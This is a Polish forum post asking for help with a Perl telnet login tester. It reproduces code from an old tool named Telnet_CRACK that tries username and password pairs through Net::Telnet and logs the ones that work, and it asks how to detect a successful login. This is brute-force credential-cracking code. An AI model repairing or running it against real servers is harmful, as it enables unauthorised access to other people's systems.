Witam,
w ramach nauki piszę prostą aplikacje, która łączy się z serwerem telnet i zwraca czy z podanym loginem i hasłem można było się zalogować. Kiedyś był taki program Telnet_CRACK którego kod wyglądał mniej więcej tak:
# CONNECTION.
sub connect {
print "\n\nProba polaczenia z $HOST.";
$telnet = new Net::Telnet (Timeout => 5, Errmode => "return");
$telnet-> open("$HOST");
print "\n\nOK ... Polaczono!!!\n\n";
};
# DO_IT.
sub do_it{
print "\nProbuje : Uzytkownik = $USER Haslo = $PASS";
$telnet -> login($USER,$PASS) and &success;
$telnet -> close;
};
# SUCCESS.
sub success {
open (LOGFILE, ">>TELNET_CRACK") or die "\a\nERROR UNABLE TO OPEN TELNET_CRACK.\n $!";
print "\a\a\a";
print "\nUzytkownik: $USER, haslo: $PASS a $HOST.\n\n\n\n\n";
print LOGFILE "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n";
close LOGFILE;
&quit;
};
Wywoływania funkcji (connect, do_it) oczywiście były zagnieżdżone w pętlach foreach. Wszystko fajnie, tylko zauważyłem, że przestała ta funkcja działać. Nie wiem czy na wszystkich dystrybucjach jest taki problem (cholera za przeproszeniem wie). W logach ładnie widze, że nastąpiło otwarcie sesji, po czym nastąpiło jej zamknięcie.
Grzebałem i grzebałem i doszedłem do wniosku, że problem musi leżeć tu:
$telnet -> login($USER,$PASS) and &success;
Po prostu po zalogowaniu (poprawnym) nie jest wykonywana i tak funkcja success. Moje pytani więc brzmi... w jaki sposób mogę zwrócić do swojego programu kod operacji logowania się przez telnet? Chodzi mi o to abym mógł stwierdzić czy dane hasło/login były prawidłowe czy też nie? Macie może jakieś pomysły?